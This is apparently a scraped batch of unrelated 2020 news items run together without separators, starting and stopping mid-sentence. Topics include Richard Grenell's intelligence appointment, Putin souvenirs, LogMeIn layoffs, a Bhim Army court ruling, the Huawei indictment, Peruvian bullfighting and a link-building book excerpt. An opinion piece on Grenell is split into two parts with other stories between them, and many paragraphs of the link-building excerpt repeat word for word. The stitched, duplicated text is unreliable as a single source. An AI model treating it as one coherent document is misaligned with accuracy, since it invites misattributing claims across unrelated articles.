classified briefing last week before the House Intelligence Committee where officials told lawmakers that Russia was interfering in Novembers presidential election and that President Vladimir V. Putin of Russia favored President Trumps re-election. The briefing later prompted Mr. Trumps anger as he complained that Democrats would use it against him. Joseph Maguire, the former acting director of national intelligence, and his deputy, Andrew P. Hallman, resigned on Friday. Mr. Grenell told Mr. Hallman, popular in the offices Liberty Crossing headquarters, that his service was no longer needed, according to two officials. Mr. Hallman, who has worked in the office or at the C.I.A. for three decades, expressed confidence in his colleagues in a statement but also referred to the uncertainties that come with change. The ouster of Mr. Hallman and exit of Mr. Maguire, who also oversaw the National Counterterrorism Center, allowed Mr. Grenell to install his own leadership team. Under the onion domes of its Orthodox churches or in front of its imperial facades, one face peers out at tourists strolling past the rows of Saint Petersburg's souvenir stalls. Twenty years after he came to power, President Vladimir Putin is omnipresent, not only across the airwaves of Russia's media but also on the magnets, mugs and matryoshka dolls throughout his hometown. Whether it is commander-in-chief Putin looking through binoculars or mocked-up shirtless Putin riding a bear, the Russian president is on sale everywhere. Painter and businessman Alexei Sergiyenko has been cashing in on Putin for years. In 2012, he opened an exhibition of work devoted exclusively to Putin titled: "President. A man with a good soul." - 'Special attitude' - The walls of his studio were lined with pop-art pictures of Putin carrying a child on his shoulders or dressed as a Hollywood superhero stopping a meteorite from crashing into the Earth. Sergiyenko also owns 64 souvenir kiosks, most near an ornate cathedral called the Saviour on the Spilled Blood. At each, the president's face has been printed on anything that tourists may be tempted to buy. "Putin souvenirs are only three-to-four percent of total sales, but the numbers are stable," Sergiyenko told AFP. His art has even been miniaturised and printed on the wrappers of chocolate bars sold throughout the city for 150 rubles (around $2). These kinds of flattering images of the president reinforce a portrait offered by the Kremlin of Putin as a father figure or saviour of the nation. Since coming to power two decades ago following the resignation of Boris Yeltsin, Putin's popularity has remained high. It spiked after Russia's annexation of Crimea from Ukraine in 2014, with his approval rating nearing 80 percent. Although his ratings have since slumped -- along with the economy -- souvenir vendors say the president is still a hit. "Putin is a strong leader. I respect him for that," said Alexander Savenkov, an estate agent in his 40s who owns a Putin T-shirt, which he mostly wears abroad. Alexei Ivanov, director of the "Che Guevara" souvenir company which specialises in politically themed merchandise, says the success of Putin souvenirs lies in the strength of his personal brand. "The main reason these souvenirs are popular is the fame, wide recognition and a special attitude that Russians have towards Putin," Ivanov said. - Like 'North Korea' - Andrei Stepanov, a 60-year-old engineer who lives near the clutch of kiosks, would be happy to have a break from seeing Putin at every turn. "I already have the impression that I'm living in North Korea. The 'great Putin' is everywhere: on TV, in the newspapers, his portraits in every official building and even on souvenirs. It's too much," he said. While vendors may be happy to cash in on Putin's brand, the Kremlin has hinted there should be limits. Recent sightings of traditional Orthodox icons featuring Putin in Saint Petersburg's airport prompted a curt response from the Kremlin's spokesman. "We do not approve of it. The president does not approve of it. You can hardly call these icons," Dmitry Peskov said in response to a question from AFP. Still, the Kremlin has launched a website in honour of Putin's 20 years in power with fawning archival footage of the president singing Frank Sinatra hits or posing with animals. Much like his reign, Putin memorabilia looks set to be a mainstay for years to come, leaving vendors pondering just how long they will be able to bank on the souvenirs. "I wonder if I will be selling them until the end of my life," said Sergei, a vendor in his 30s in the city centre. "I'm afraid it looks likely." Two months after agreeing to be acquired by a private equity firm, communications software firm LogMeIn Inc. told the Business Journal that its cutting around 300 workers, including 64 in its Boston headquarters. Craig VerColen, vice president of corporate communications, said in an email that the cuts affect about 8% of the companys workforce. That number translated to about 318 people, based on the headcount of 3,974 full-time employees that the Boston-based company disclosed in a public filing it had as of December last year. He said 64 of the companys nearly 800 Boston-based employees were impacted. All impacted employees were notified last week. VerColen added that some of the 64 employees have already found new roles within LogMeIn, but declined to share how many, saying that some of the negotiations about the new roles are on-going. LogMeIn is taking steps to determine how and where we prioritize resources and spend as part [of] our 2020 planning, VerColen said in an emailed statement. With this, we will be reallocating investments and roles to align with those evolving priorities, and that will mean eliminating jobs in some areas and creating jobs in others. Boston remains our largest employment site out of our 20+ offices and our global headquarters. In December last year, LogMeIn, the maker of the GoToMeeting and LastPass software products, became one of the latest companies to be gobbled up by private equity firms in a $4.3 billion acquisition in December. The deal, expected to close in mid 2020, included a 45-day go-shop period that expired with no alternative acquisition proposals on Jan. 31. The deal was led by affiliates of Francisco Partners, a technology-focused private equity firm with offices in San Francisco, New York, and London, and will end with LogMeIn becoming a private company. Earlier this week, Dell Technologies Inc. announced the sale of Bedford-based cybersecurity unit RSA Security to a consortium of investors, including private equity firms. In December, Anshuman Kanwar, the former vice president and CTO of LogMeIns Unified Communications and Collaboration business unit, became the latest longtime executive at LogMeIn who left the company (or announced plans to retire) in the space of a few months. This article originally appeared on the Boston Business Journals website. The Nagpur bench of the Bombay High Court on Friday allowed the Bhim Army to hold a meeting of its workers at Reshimbagh Ground here on February 22, but imposed certain conditions. A division bench of Justices Sunil Shukre and Madhav Jamdar said the petition of the Dalit outfit, seeking permission for the conclave, is allowed with conditions. Bhim Army chief Chandrashekhar Azad is scheduled to address the meeting. On Tuesday, the HC had issued notices to the Maharashtra government and the Nagpur police commissioner on the petition filed by a Bhim Army functionary. The sprawling ground is close to the headquarters of the Rashtriya Swayamsevak Sangh (RSS) and the Kotwali police had earlier denied permission for the gathering, citing law and order issues. After denial of permission, the Dalit group moved the high court here. The petition, filed by Bhim Army Nagpur district chief Praful Shende through his lawyer Firdos Mirza, said the outfit had got permission from the CP and Berar Education Society, which controls the Nagpur Improvement Trusted-owned ground, for the meeting. However, the Kotwali police station, under whose jurisdiction the ground falls, denied permission for the meet, citing law and order issues, the petition said. The plea sought direction from the HC to the state government and the police commissioner to grant permission to the Bhim Army to hold its workers' meeting. "Permission grantedwith conditions. It will be a workers' meet only. It shall not be converted into a demonstration or protest. "There should be no inflammatory speeches and the atmosphere should be peaceful.Besides, Chandrashekhar Azad should give an undertaking on the above conditions," the court said in its operative order on Friday. Any violation of the conditions will invite criminal action and contempt of court proceeding, the bench warned. The police department, in its affidavit filed in the court on Thursday, said the organisation is seeking permission to stage a protest against the Citizen (Amendment) Act and the National Register of citizens at a location which is near the RSS headquarters. "The organisation of the petitioner holds an ideology which is different, contrary and diverse to the ideology being professed by the RSS," the affidavit said. In such a scenario, the possibility of law and order situation being created at the centre of the protest cannot be ruled out, the police said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Source: Xinhua| 2020-02-21 23:22:07|Editor: Mu Xuequan Video Player Close HELSINKI, Feb. 21 (Xinhua) -- Jutta Urpilainen, European commissioner for international partnerships, said at a press meeting here on Friday that the European Union (EU) aims to work with the whole continent of Africa. She said the EU will not identify priority areas or countries on the African continent, stressing that the EU is one of several actors active there. She recalled that this coming week 22 of the 27 European commissioners will attend a meeting with the African Union (AU) in Ethiopia, and that in October Brussels will host the 6th EU-AU summit. The European Commission is scheduled to start a consultation with the EU member states on its Africa strategy next month. "We seek a joint view of the EU member countries of how we should develop our ties with Africa," she said. Urpilainen said that the strategy also aims at changing the image of Africa in Europe and will focus on opportunities. Africa's annual gross domestic product (GDP) growth is 4.7 percent, she noted. Urpilainen said it was her duty to strengthen partnerships that would help Africa combat climate change in line with the European Green Deal. She said that one of her priorities was to improve the prospects of young Africans. The EU, she said, offers educational and social programs that aim to help them become active and productive members of society, and to enable them to make their voice heard. Charles Dickens would be smiling and turning in his grave that he is still copied, quoted, paraphrased and even parodied more than 150 years after his death. And who can tell me that he doesn't quote Dickens knowingly or unknowingly? Everybody does that I know for sure. After all, everybody, once in a while, uses the expression "...Oliver asks for more". That's right from Dickens's beautiful novel, Oliver Twist. Dickensian novels Please, if you have not read any Dickensian novel, you could easily read one online. Dickens was great. His novels, themes and style are timeless. (At page 61 of The Closing Chapter, Lord Denning described Dickens as "the master of the short sentence who occasionally used the long sentence to give effect.") Nowadays, books and their synopses are easily obtainable online, some for free, others for just a token, you are good to go. When I see the abundance of such material online these days, then I remember, with pity, how difficult it was for my generation to study literature. Material was difficult to come by. We mostly depended on commentary written by pamphleteers and, sometimes, movies at the British Council just to study a piece of academic material. I depended on the commentaries of Mr Michael Agyeman aka Agyengo of Susec, Mr Sarfo Abebrese aka Labimus and then Mr Lawrence Lazagla Mensah now Mr Justice LL Mensah of the Court of Appeal. He wrote a very useful commentary on one of Shakespeare's less known tragedies, Coriolanus. It was for A'Level literature nationwide. Anyway, back to our tale. Apart from Oliver Twist, Dickens wrote other novels: David Copperfield, Great Expectations, Little Dorrit, Bleak House, A Tale of Two Cities etc. It is based on the last novel that I have this parody of a title. Settings Dickens's A tale of two cities has London and Paris as its settings. My "A tale of two sisters", on the other hand, has Ghana and Malawi as its settings. My two characters are Jane and Jean. (never mind the spelling, just focus on the sound). Jane Ansah and Jean Mensa. Both characters are lawyers by training, both married to Ghanaians. Jane is however Malawian and Jean is Ghanaian. Both are the chairpersons of the Electoral Commissions (EC) of their respective countries. Both are hard nuts to crack. Both are under pressure, yet they are unyielding. Appointments Before Jane Ansah was made the EC chair, she was the Attorney General of Malawi and Jean Mensa was the Executive Director of the Institute of Economic Affairs (IEA), a Ghanaian policy think tank, co-run by her husband, Charles Mensa, formerly of the Volta Aluminium Company (VALCO). Both Jane and Jean were appointed to their positions by incumbent presidents Peter Wamutharika and Nana Addo Dankwa Akufo-Addo of Malawi and Ghana, respectively. And so the fear of the opposition in the two countries is that Jane and Jean will, not might, pander to the interest of the two incumbents. But the two iron ladies insist the fear of the opposition is misplaced. The position of Jane has become rather tenuous following the recent cancellation/annulment of last year's presidential election which re-elected Wamutharika. Jane supervised it. Jane was appointed by Wamutharika, a lawyer and former law lecturer in the US. His presence in politics is by happenstance. When his brother Bingu Wamutharika died as President, Bingu's vice, Joice Banda, took over as president. Loyalists persuaded Peter to come home and wrest power from Joice. In the election that ensued, Joice, who continued the remaining term of her boss, lost power to her boss's younger brother, Peter. Joice contested last year's election against Peter, losing once again. Jean was appointed by President Akufo-Addo, a lawyer born into a political family. John Mahama, as Vice-President, had taken over as president from John Mills who died as president. President Akufo-Addo contested John Mahama on two occasions: lost one, one won. For the past few days, the opposition in Ghana has been up in arms against the Jean Mensa-led EC on a new biometric register it intends to introduce. Jean stands firm, unshaken, unflinching. The Malawian opposition demonstrated against the Jane Ansah-led EC, padlocked the EC's premises and called for the dismissal of Jane Ansah. But Jane, like Jean, is unshaken, as firm as an oak. Take it or leave it, like them or hate them, Jane and Jean seem to have some things in common. Both of them seem to have taken leaves from Kenyan Nobel laureate Wangari Maathai's book, Unbowed, one woman's story. Jane and Jean, I doff my hat to you, not because I support or don't support your position, but because I admire your obduracy or obstinacy. Great girls, go go gooooooo. Source: Graphic.com.gh Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Between June and December of 1950, a government-backed exhibition of Mosess picturesque American scenes toured six European cities. One Foreign Service officer who was involved with the Moses show declared that the exhibition had been as valuable as pure gold in promoting the core of our national character which we are endeavoring to articulate in opposition to the efforts of the communists.' Smithsonian Magazine The Lagos state governor, Babajide Sanwo-Olu, recently hosted Zuriel Oduwole, filmmaker and global girl child advocate along with representatives of C&I Leasing Plc (C&I Leasing), a business service conglomerate. The meeting which took place at the State House in Marina, Lagos, was set up to discuss strategies aimed at improving child education in public schools across the state, with an emphasis on the girl child. In his remarks, Sanwo-Olu commended Zuriel for her role in championing child education across the African continent and beyond, even as he expressed the states readiness to collaborate with the filmmaker and her partners on initiatives that would have deep-seated impact in the lives of children in public primary schools. Quoting statistics, Sanwo-Olu said Lagos represents 0.4% of Nigerias territorial landmass with more public primary schools than in Ghana, hence the need for long-lasting reforms in the states education system. The governor said the ongoing Excellence in Child Education and Learning project dubbed EKO EXCEL, was launched to establish a culture of learning while bridging the communication gap between teachers and thousands of students across the 1,016 public primary schools in the state. Responding, Zuriel, brand ambassador of Hertz Nigeria, a franchise car rental company operated by C&I Leasing Plc, spoke on her double-pronged vision of having the government infuse practical, skills-based learning and e-learning courses into public school curriculums in the state. She expressed confidence that children could at a young age be nurtured to explore their creativity by learning practical skills such as filmmaking, thus setting them up to make a living for themselves in the near future- a cause she informed the governor she was willing to pursue at sub-national level. Also speaking during the visit, Maureen Ogbonna, Group Head, Research and strategy at C&I Leasing Plc, commended the Lagos state governor for the impactful initiatives put in place to reverse the trend of education inequities state-wide. Ogbonna reiterated C&I Leasings commitment to continuously support commendable projects aimed at empowering children with quality education, while also exploring youth employability and skills development initiatives in line with the companys Corporate Social Responsibility (CSR) framework. For decades, U.S. officials have pushed Mexico to send alleged traffickers to face American prosecution, given the weakness and corruption of the Mexican judicial system. That weakness was on display last month, when three accused Sinaloa Cartel operatives wanted by the U.S. government broke out of the Reclusorio Sur prison in Mexico City. They fled in an official vehicle with a chauffeur, according to Mexican media reports. Several government employees were detained on suspicion of complicity. DENVER, Feb. 21, 2020 (GLOBE NEWSWIRE) -- DCP Midstream, LP (NYSE: DCP) has filed its Form 10-K for the fiscal year ended December 31, 2019 with the Securities and Exchange Commission. A copy of the Form 10-K, which contains our audited financial statements, is available on the investor section of our website at www.dcpmidstream.com. Investors may request a hardcopy of the Form 10-K free of charge by sending a request to the office of the Corporate Secretary of DCP Midstream at 370 17th Street, Suite 2500, Denver, Colorado 80202. INVESTOR AND MEDIA RELATIONS: Sarah Sandberg Phone: 303-605-1626 About DCP Midstream, LP DCP Midstream, LP (NYSE: DCP) is a Fortune 500 midstream master limited partnership headquartered in Denver, Colorado, with a diversified portfolio of gathering, processing, logistics and marketing assets. DCP is one of the largest natural gas liquids producers and marketers and one of the largest natural gas processors in the U.S. The owner of DCPs general partner is a joint venture between Enbridge and Phillips 66. For more information, visit the DCP Midstream, LP website at www.dcpmidstream.com. Mr. Grenell has shown perhaps a little more finesse. In a 2016 Fox News opinion piece, he merely minimized Russian meddling in American political processes as a longstanding practice that should come as no surprise and was not especially significant. The practical upshot, however, is the same: Mr. Grenell, like Mr. Trump, does not rate Russian efforts to manipulate American elections a pressing national security concern. From this perspective, Mr. Grenells appointment as the countrys highest-ranking intelligence officer looks intended to ensure that any U.S. intelligence assessments and warnings of Russian meddling in the 2020 election are downplayed and withheld from Congress, if not completely suppressed. Mr. Trump was reportedly angry for political reasons that intelligence analysts briefed the House Intelligence Committee last week, telling them that Russia was interfering in the 2020 election in an attempt to get him re-elected. The president feared that Democrats would weaponize the information and registered his displeasure with the outgoing director of national intelligence, Joseph Maguire. The fox-in-the-henhouse metaphor may be a tired one, but Mr. Trump has revitalized it, implicitly tasking one appointee after another to subvert the very agency he or she is supposed to oversee and sustain. Mr. Grenell is only the latest example. Having thoroughly politicized his position as a diplomat, he is now poised to do the same for the entire U.S. intelligence community. In terms of process as distinct from substance, the outlook is similarly bleak: Mr. Grenell recently applauded the presidents unrestrained tweeting after Attorney General William Barr considered one of Mr. Trumps staunchest bureaucratic allies had criticized the practice. Its hardly fanciful to imagine the president commanding his new acting DNI to provide tailored intelligence that he can include in a provocative tweet, and readily getting it. To make matters worse for the national security bureaucracy, Mr. Grenell will continue to serve as ambassador to Germany while trying to direct and coordinate the United States vast and complex array of intelligence agencies. Thus, in a single stroke, Mr. Trump has appointed an official who is unsuited to the job and has rendered it circumstantially impossible for him to do that properly, even if he had the ability. This absurdly cavalier arrangement, even if it lasts just a few months, manages to denigrate the role of both the State Department and the intelligence community. Mr. Trumps contempt for and evisceration of the interagency process putatively coordinated by the National Security Council staff serially showcased, last month with the strike that killed Maj. Gen. Qassim Suleimani are again on display. And his increasingly autocratic inclinations ominously shine through. The following excerpt is from the Garrett French and Eric Wards book Ultimate Guide to Link Building, 2nd Edition. Buy it now from Amazon | Barnes & Noble | iTunesor click here to buy it directly from us and SAVE 60% on this book when you use code MARKET2021 through 4/24/21. Next time you sit down to write an outreach email, give these subject lines a try, and youll increase the number of conversations with potential link targets. Guest posting Sites that accept guest writers will usually specify how they prefer new guest posts to be pitched. If the site you want to contribute to has a dedicated page (or section) about guest-posting opportunities, follow their guidelines. However, in those cases where theres no clear guidelines for wannabe contributors to pitch their guest posts, use the following subject lines: Id like to write for [site name]. Here are X article ideas. This is perfect for those cases where youve written a series of articles and youre searching for the right home for them. This is perfect for those cases where youve written a series of articles and youre searching for the right home for them. Interested in article contributions about [topic]? Id love to collaborate. This a great subject line for when you prefer to discuss content ideas on a specific topic with the editor before submitting written articles. This a great subject line for when you prefer to discuss content ideas on a specific topic with the editor before submitting written articles. Contributing to [site name]: sharing my clip portfolio. If youve developed a strong portfolio of articles, you can let your previous work do the talking. Related: 15 Tips to Generate Great How-to Content Link reclamation (brand mention) The formulas below will come in handy next time you need to reach out to a site that mentioned your company without linking to your website: Thanks for mentioning [brand] on your [topic] page (quick request). Always start link reclamation emails by showing your gratitude. After all, the person youre reaching out to didnt have to mention your company, yet theyve done just that, so a thank you is in order. This particular subject line could be used when contacting a webmaster or site owner whos dropped a brand mention within the core pages of their website (e.g., their About page). Always start link reclamation emails by showing your gratitude. After all, the person youre reaching out to didnt have to mention your company, yet theyve done just that, so a thank you is in order. This particular subject line could be used when contacting a webmaster or site owner whos dropped a brand mention within the core pages of their website (e.g., their About page). Thank you for mentioning us! ([title of their article]). This is a formula for those cases when youre contacting a journalist whos mentioned your brand within an article. In those cases, you want the recipient to spot the title of the article theyve written to quickly engage them into opening your email. This is a formula for those cases when youre contacting a journalist whos mentioned your brand within an article. In those cases, you want the recipient to spot the title of the article theyve written to quickly engage them into opening your email. Quick question about your latest post (on behalf of [brand]). This is the formula I use when reaching out to a blogger whos mentioned my company in a blog post. You can use tools, such as Ahrefs, BuzzSumo or Google Alerts to set up daily alerts for your brand name so you can reach out to bloggers as soon as the mention occurs. Link reclamation (content marketing) Much has been written about link reclamation as a link-building strategy. Theres less advice about the technique in combination with other off-page SEO efforts (a term that includes every SEO-related task or activity that happens off the site), such as content marketing for links. For marketers who build links with content, I always recommend adding a layer of link reclamation to their campaigns to maximize the number of links. Here are three tried-and-tested formulas to help you turn unlinked brand mentions into links back to your content: Attribution request: [title of their article]. This is my go-to formula for contacting journalists whove featured the content I produce for my clients and have mentioned the brand but have failed to credit the content with a link back to the original source (aka, my clients website). Its simple and to the point, including the title of the article in question to quickly get the writers attention. This is my go-to formula for contacting journalists whove featured the content I produce for my clients and have mentioned the brand but have failed to credit the content with a link back to the original source (aka, my clients website). Its simple and to the point, including the title of the article in question to quickly get the writers attention. Credit to original source: [title of their article]. This is the subject-line formula my team uses when a journalist has picked up a piece of content after seeing it published by a media outlet and has credited them as the original source instead of linking back to our client. Start off by thanking the writer for sharing your content and include a link to the article theyve written. Instead of simply asking for a link, ask for the credit to be fixed so it points to the original source of the content, and include the URL they should link out to. This is the subject-line formula my team uses when a journalist has picked up a piece of content after seeing it published by a media outlet and has credited them as the original source instead of linking back to our client. Start off by thanking the writer for sharing your content and include a link to the article theyve written. Instead of simply asking for a link, ask for the credit to be fixed so it points to the original source of the content, and include the URL they should link out to. License infringement and attribution request: [title of their article]. If your content campaign includes images, make sure to license them under Creative Commons License 4.0 International, which states that publishers can share and/or adapt the material as long as they credit the creator with a link back to the material. Use this subject-line formula when doing link reclamation for images that are licensed under Creative Commons and have been used by other sites without linking back to your website as the source. Resource link building The subject lines for this type of link building will highly depend on the type of resource youve built. That said, here are three subject line formulas that are suitable when reaching out to webmasters or editors who curate resources around a specific topic: Suggestion for [name of resource page]: [name of your resource]. Straightforward and to the point, the recipient of this email will quickly know what page on their site youre referring to and what type of resource youre pitching. If your email gets opened, then its very likely youll get a link as long as your resource is of good quality, of course! Straightforward and to the point, the recipient of this email will quickly know what page on their site youre referring to and what type of resource youre pitching. If your email gets opened, then its very likely youll get a link as long as your resource is of good quality, of course! Are you accepting new resources for [name of resource page]? This is a good choice when reaching out to a site editor or webmaster about a page that doesnt seem to be updated on a regular basis. This is a good choice when reaching out to a site editor or webmaster about a page that doesnt seem to be updated on a regular basis. New resource for [name of resource page]: [name of your resource]. This is an alternative to the first formula on this list that incorporates one of the most powerful words in advertising. Everyone wants to have something new, because its an improved and nicer version of the old. In addition, research has found that our brains react to novelty by releasing dopamine, which makes us want to go exploring in search of a reward a great start for a link outreach email! Round-up inclusion Many bloggers and journalists publish weekly and monthly round-up articles where they handpick resources and content connected to a specific topic. The subject lines below will come in handy next time youre pitching content you think should be included as part of one of these round-up posts: Tip for [name of round-up]: [title of your article]. If the round-up has a name, you should use it to show that youve done your research. In many cases, the article will include a short blurb at the beginning or end of the post where the writer specifies an email address to pitch new stories for inclusion. Use this subject line when contacting the specified email address. If the round-up has a name, you should use it to show that youve done your research. In many cases, the article will include a short blurb at the beginning or end of the post where the writer specifies an email address to pitch new stories for inclusion. Use this subject line when contacting the specified email address. Do you take suggestions for [name of round-up]? Unlike the previous case, this is a subject line for contacting a blogger or journalist who publishes a round-up but doesnt make it explicit whether theyre open for suggestions. In case the answer is a yes, its better to approach the person with a question and mention the piece of content youd like to suggest inside the email. Related: Why Your Best Move Might Be to Promote Other Websites' Content Content marketing for links One of the go-to link-building techniques today involves creating content that can be pitched to other sites in the hopes that they will reuse it and link back to your website. I call this content marketing for links because its not quite the same as resource link building. However, there are many people who refer to this technique as digital PR, because, more often than not, the main goal is to build hard-to-get media links. The content is usually a visual piece that can be easily shared: a simple static image (infographics, maps, charts, illustrations, photographs, etc.), an animated asset (videos or GIFs) or an interactive feature that uses an iframe or embed code (interactive data visualizations, quizzes, calculators, etc.). Next time youre pitching this type of content with the goal of building links, try opening your emails with the following subject line formulas: Tip: [title of your content] ([format]) . I always advise including the word tip to help journalists immediately identify your email as a pitch. This can be crucial if the topic of your content could be mistaken for a different type of message, such as a sales pitch or junk mail: How to lose weight this summer vs. Tip: How to lose weight this summer (infographic) I always advise including the word tip to help journalists immediately identify your email as a pitch. This can be crucial if the topic of your content could be mistaken for a different type of message, such as a sales pitch or junk mail: How to lose weight this summer vs. Tip: How to lose weight this summer (infographic) Tip for [site name]: [title of your content] . When contacting someone who writes for multiple publications, include the name of the site youre targeting into your subject-line formula. Keep this formula in mind when your target site is a company blog and youre unsure of who manages it, so youre pitching the most suitable contact based on their position within the organization (e.g., content manager or digital marketing executive). When contacting someone who writes for multiple publications, include the name of the site youre targeting into your subject-line formula. Keep this formula in mind when your target site is a company blog and youre unsure of who manages it, so youre pitching the most suitable contact based on their position within the organization (e.g., content manager or digital marketing executive). Story idea: [title of your content]. When pitching content to an editor who assigns stories to journalists, you can use this as an alternative to the first subject-line formula on this list. When pitching content to an editor who assigns stories to journalists, you can use this as an alternative to the first subject-line formula on this list. Tip: This [format] will show you [brief description about the topic of your content]. Note that the subject line has been written in a click-bait tone. See the difference: Tip: The college degree of the top earning CEO in every US state (interactive) Tip: This interactive will show you what the top CEOs in America studied in college Note that the subject line has been written in a click-bait tone. See the difference: Exclusive for [site name]: [title of your content] ([format]). Make sure to mention the word exclusive when youre ready to offer exclusivity over your content to a specific publication. This will give your email priority as media outlets love to break the news about a story before anyone else. Did you enjoy your book preview? Click here to grab a copy todaynow 60% off when you use code MARKET2021 through 4/24/21. Copyright 2021 Entrepreneur.com Inc., All rights reserved The National Republican Senatorial Committee (NRSC) made record-breaking fundraising in January, raking in a total of more than $10 million and outdoing Democrats by $1.5 million. The Democratic Senatorial Campaign Committee (DSCC) in the same month raised more than $8.5 million, the best month of fundraising for the group in the 2020 cycle so far, The Hill reported. The NRSC has netted a total of $25.2 million this cycle, acquiring more money in January than it did from January to May in 2018, while the DSCC has hauled in $19.7 million so far. NEWS????: NRSC shatters its previous Jan fundraising record and tops the DSCC yet *again* with over $10 mil raised NRSC raised more online in Jan 20 than Jan-May of 18 https://t.co/gaaer1TxQU Jesse Hunt (@JJHunt10) February 20, 2020 This unprecedented level of success is a true testament to Senator Youngs leadership and our teams ability to harness the incredible Republican grassroots energy building ahead of an important election this fall, NRSC spokesperson Jesse Hunt told The Hill, referring to NRSC chair Sen. Todd Young (R-Ind.) who has taken the lead in this campaign. The RNSC has traditionally raised less money than its Democratic counterpart. During this electoral cycle, however, it has bested the DSCC by a margin exceeding $5 million in total, according to The Washington Examiner. The rise in funding revenue for Republicans and Democrats parties prompted the outlet to suggest that the impeachment trial and acquittal of President Donald Trump seemed to have spurred a boost to both parties. The RNSC will be needing the money as Republicans, with seats in Arizona, Colorado, Iowa, Maine, and North Carolina in the balance, will be defending its three-seat majority in the Senate this fall. Meanwhile, Democrats have seats in Alabama and Michigan under threat that the Republicans hope to flip. By Karen Freifeld NEW YORK (Reuters) - U.S. prosecutors on Thursday accused Huawei of stealing trade secrets and helping Iran track protesters in its latest indictment against the Chinese company, escalating the U.S. battle with the world's largest telecommunications equipment maker. In the indictment, which supersedes one unsealed last year in federal court in Brooklyn, New York, Huawei Technologies Co was charged with conspiring to steal trade secrets from six U.S. technology companies and to violate a racketeering law typically used to combat organised crime. It also contains new allegations about the company's involvement in countries subject to sanctions. Among other accusations, it says Huawei installed surveillance equipment in Iran that was used to monitor, identify, and detain protesters during the 2009 anti-government demonstrations in Tehran. The United States has been waging a campaign against Huawei, which it has warned could spy on customers for Beijing. Washington placed the company on a trade blacklist last year, citing national security concerns. The indictment is "part of an attempt to irrevocably damage Huawei's reputation and its business for reasons related to competition rather than law enforcement," Huawei said in a statement. It called the racketeering accusation "a contrived repackaging of a handful of civil allegations that are almost 20 years old." Huawei pleaded not guilty to the earlier indictment unsealed against the company in January 2019, which charged it with bank and wire fraud, violating sanctions against Iran, and obstructing justice. Chinese foreign ministry spokesman Geng Shuang, asked about the indictments during a daily briefing in Beijing on Friday, urged the United States to immediately stop suppressing Chinese companies without reason. Such acts seriously damage the United States' credibility and image, he said. Its chief financial officer Meng Wanzhou was arrested in December 2018 in Canada on charges in that indictment, causing an uproar in China and a chill in Canadian-Chinese relations. She has said she is innocent and is fighting extradition. Story continues There are no new charges against Meng in the superseding indictment. NEW CHARGES The new trade secret theft charges relate to internet router source code, cellular antenna technology, and robotics. For example, beginning in 2000, Huawei and its subsidiary Futurewei Technologies Inc are accused of misappropriating operating system source code for internet routers, commands used to communicate with the routers, and operating system manuals, from a company in Northern California. Futurewei was added as a defendant in the latest indictment. Huawei then sold their routers in the United States as lower cost versions of the U.S. company's products, the indictment says. Although the U.S. company is not identified, Cisco Systems sued Huawei in Texas in 2003 over copyright infringement related to its routers. Huawei is also accused of recruiting employees from other companies, making efforts to get intellectual property from those companies, and using professors at research institutions to obtain technology. "The indictment paints a damning portrait of an illegitimate organization that lacks any regard for the law," U.S. Senate Intelligence Committee chairman Richard Burr and vice chairman Mark Warner said in a joint statement. The Republican and Democratic Senators called it "an important step in combating Huawei's state-directed and criminal enterprise." The indictment also accuses Meng and Huawei of conspiring to defraud HSBC and other banks by misrepresenting Huawei's relationship with a company that operated in Iran. It references reporting by Reuters from seven years ago about Huawei's ties to Skycom Tech Co Ltd, which offered to sell U.S. origin goods to Iran, in violation of U.S. law. It also mentions news reports in Reuters and the Wall Street Journal that claimed Huawei assisted the government of Iran in domestic surveillance. reut.rs/2sUq8RT In addition to accusing Huawei of lying about its operations in Iran, the latest indictment says Huawei falsely represented to banks that it had no business in North Korea. The U.S. Commerce Department in May put Huawei on a trade blacklist that restricted U.S. suppliers from selling parts and components to the company. On Thursday, in some positive news for the company, the Commerce Department announced it was extending a temporary general license for 45 days allowing U.S. companies to continue doing some business with Huawei. The move is intended to maintain existing equipment and allow providers in rural communities more time to find alternatives to the company's networks. At the same time, the United States is weighing new regulations to stop more foreign shipments of products with U.S. technology to Huawei. And Washington has continued to pressure other countries to drop Huawei from their cellular networks over its claim the equipment could be used by Beijing for spying. (Reporting by Karen Freifeld; additional reporting by Jonathan Stempel and David Shepardson in Washington, Huizhong Wu in Beijing; Editing by Rosalba O'Brien) Around 10,000 people demonstrated in support of bull and cock fighting in Lima on Friday ahead of a supreme court decision on their future. Animal rights activists have brought a case to the Constitutional Court asking it to declare unconstitutional a law that exempts bull and cock fighting from and animal protection laws. The court is due to take a decision on the case on Tuesday. "United for a passion, culture and tradition," read one banner at the rally in central Lima. Bull and cock fighting have been popular activities in Peru since the Spanish colonization but animal rights groups have demanded an end to the practices. The law that protects pets and wild animals kept in captivity has a clause exempting bulls and cockerels, considering them "part of cultural shows." Defenders of bull and cock fighting say the livelihoods of 400,000 people involved in breeding these animals would be at risk if the activities were banned. Bull and cock fighting are legal in many Latin American countries, but not in Peru's neighbor Chile, where they were banned in 1818 when it declared independence. WINSTED - Last semester, Northwestern Connecticut Community College launched its new Data Science Degree and Certificate programs. Students in the Capstone Research Project Course are getting the opportunity to apply their newly acquired knowledge using a real-world problem that combines business marketing and data science statistics. Data Science is an interdisciplinary field that uses scientific processes, algorithmic and systems methods to build knowledge and extract insights from big data. More succinctly, it discovers hidden patterns from vast amounts of data too complex for the brain to decipher, using mathematical tools, skills and techniques. At NCCC, professors Stacey Williams and Crystal Wiggins, are using the Capstone Research Project platform to have students work with a start-up company, HealthLynxIQ to solve actual business problems that the company is facing. During the project, students will vet the companys business model, focused market segment and barriers to adoption by engaging their team, researching the area, and analyzing real data to produce a set of recommendations. HealthLynxIQ is developing a health application designed to link patients to their health data, informing relevant use, and providing access at its time of need. This app, Removes barriers that we struggle with day to day and places a person at the core of their care in a way thats safe, simple and connected, said K. Marinka Natale, owner of HealthLynxIQ, who had signed a Collaborative Agreement prior to the start of the course, with NCCC President Dr. Michael Rooke to facilitate the Capstone Research Project. Our vision is to create partnerships with Connecticut businesses and educational institutions like NCCC to create a healthcare solution for its citizens. So, we are thrilled to have Connecticuts talented future professionals applying their learned skills to a real-life problem, Rooke said. Wiggins, faculty advisor for the Data Science portfolio at NCCC, said that this Capstone Research Project mimics an internship, where students learn to interact in a business setting, manage deadlines, produce technical documents, and think critically to find solutions. At the end of the course, students will produce a report with their solutions and present it to their client. The Data Science associate degree program prepares students primarily to transfer to 